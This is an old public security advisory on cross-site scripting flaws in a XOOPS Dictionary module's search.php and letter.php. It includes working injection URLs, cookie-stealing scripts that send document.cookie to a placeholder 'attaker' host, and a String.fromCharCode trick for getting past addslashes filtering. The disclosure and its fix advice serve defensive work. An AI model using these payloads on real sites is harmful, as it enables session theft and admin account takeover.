Cross Site Scripting in XOOPS Version 2.x Dictionary module
--------------------------------------------------------------------------
Cross Site Scripting in XOOPS Version 2.x Dictionary module
--------------------------------------------------------------------------
Type: Cross Site Scripting (XSS)
Titule: Xoops Dictionary module (by nagl)
Date: August 28, 2004
--------------------------------------------------------------------------
[Background]
XOOPS [1] is a dynamic object oriented based open source portal system
written in PHP.
There is a dictionary module (for XOOPS Version 2.x), coded by nagl [2]
This nagl dictionary module is not in the default xoops package.
[Synopsis]
The dictionary module, coded by nagl.ch don't filter some variables
correctly causing some XSS security problems on xoops portals.
[Vulnerable versions]
-v1
-v0.94
(may be earlier versions too)
[Description]
There are at least two XSS holes in this module (pobably more), one on
search.php file ($terme variable) and one on letter.php file ($letter
variable)
1-search.php:
On search.php file is the filtered var "$terme", but is poorly filtered.
Just this chars are filtered ("), ('), (\) (double quotes, single quote,
backslash), the output chars are (\"), (\'), (\\). It seems that the
addslashes funtion was used in the code (addslashes filter ("), ('), (\)
and (NULL)).
Addslashes() will not work if you want to display quoted information in
a text input element's value field, str_replace() or htmlspecialchars()
are better option.
Lets see what happens in detail:
When you enter to search field the double quotes (") and submit, on
results output just apear the \ simbol, that's because de the doble
quotes are intepreted like end value of "$terme" and this cause the XSS
vulnerability.
example:
http://vulnerable/modules/dictionary/search.php?terme=
"><script>document.write(document.cookie);</script>
(bind all in one line)
at now anything strange, but the code seems to be secure because the
("), ('), (\) are still filtered and attaks like those can't be
inyected:
1.-"><script>document.location='http://attaker/cookie.cgi?'+
document.cookie</script>
2.-"><script>document.write('<img src="http://attaker/cookie.cgi?'+
document.cookie+'">')</script>">
3.-"><script>document.write('<iframe src="http://attaker/cookie.js";>')
</script>">
(bind each example in one line)
because the result source are:
1.-\"><script>document.location=\'http://attaker/cookie.cgi?\'+
document.cookie</script>
2.-\"><script>document.write(\'<img src=\"http://attaker/cookie.cgi?\'+
document.cookie+\'\">\')</script>\">
3.-\"><script>document.write(\'<iframe
src=\"http://attaker/cookie.js\";>\')
</script>">
(bind each example in one line)
and those are wrong syntax codes.
But this security level isn't enough.
The code may be passed using the "String.fromCharCode()" javascript
method.
*example:
-This script will insert the google pic into the vulnerable page. Just
insert
it into the search field:
<script>
function xss (){
var tag="<img src=";
var web="http://www.google.com";;
var path="/images/google_80wht.gif";
document.write(tag+web+path);
} xss()
</script>
-Here the same script, usin the String.fromCharCode funtion, no quotes
are needed:
<script>
function xss (){
var tag=String.fromCharCode(60)+String.fromCharCode(105)+
String.fromCharCode(109)+String.fromCharCode(103)+String.fromCharCode(32)+
String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+
String.fromCharCode(32)+String.fromCharCode(61);
var web=String.fromCharCode(104)+String.fromCharCode(116)+
String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+
String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(119)+
String.fromCharCode(119)+String.fromCharCode(119)+String.fromCharCode(46)+
String.fromCharCode(103)+String.fromCharCode(111)+String.fromCharCode(111)+
String.fromCharCode(103)+String.fromCharCode(108)+String.fromCharCode(101)+
String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+
String.fromCharCode(109);
var path=String.fromCharCode(47)+String.fromCharCode(105)+
String.fromCharCode(109)+String.fromCharCode(97)+String.fromCharCode(103)+
String.fromCharCode(101)+String.fromCharCode(115)+String.fromCharCode(47)+
String.fromCharCode(103)+String.fromCharCode(111)+String.fromCharCode(111)+
String.fromCharCode(103)+String.fromCharCode(108)+String.fromCharCode(101)+
String.fromCharCode(95)+String.fromCharCode(56)+String.fromCharCode(48)+
String.fromCharCode(119)+String.fromCharCode(104)+String.fromCharCode(116)+
String.fromCharCode(46)+String.fromCharCode(103)+String.fromCharCode(105)+
String.fromCharCode(102)+String.fromCharCode(62);
document.write(tag+web+path);
} xss()
</script>
(bind all in one line)
2-letter.php:
On letter.php the XSS vulnerability is through "$letter" variable,
nothing new but the above comments, just an example:
http://attaker/modules/dictionary/letter.php?letter=
"><script>document.write(document.cookie)<script>(
(bind all in one line)
[Impact]
Any Cross Site Scripting may be used to steal admin cookies, then,
possibly steal the admin identity.
[Solution]
After 2 mails sent to the module creator and a few days waiting,
no answer received.
Workaroud: temporal solution may be use the str_replace() or
htmlspecialchars() and filter $terme and $letter.
[References]
[1] Xoops homepage--- http://www.xoops.org
[2] Dictionary module homepage--- http://www.nagl.ch
[3] Homepage demo--- http://www.nagl.ch/modules/dictionary/
[More]
Spanish info: http://cyruxnet.org/modulo_dic_xoops.htm
[Disclaimer]
This advisory is provided "as is" without warranty.
We are not liable for damages caused as a result of using this
information.
--------------------------------------------------------------------------
CyruxNET
http://cyruxnet.org
--------------------------------------------------------------------------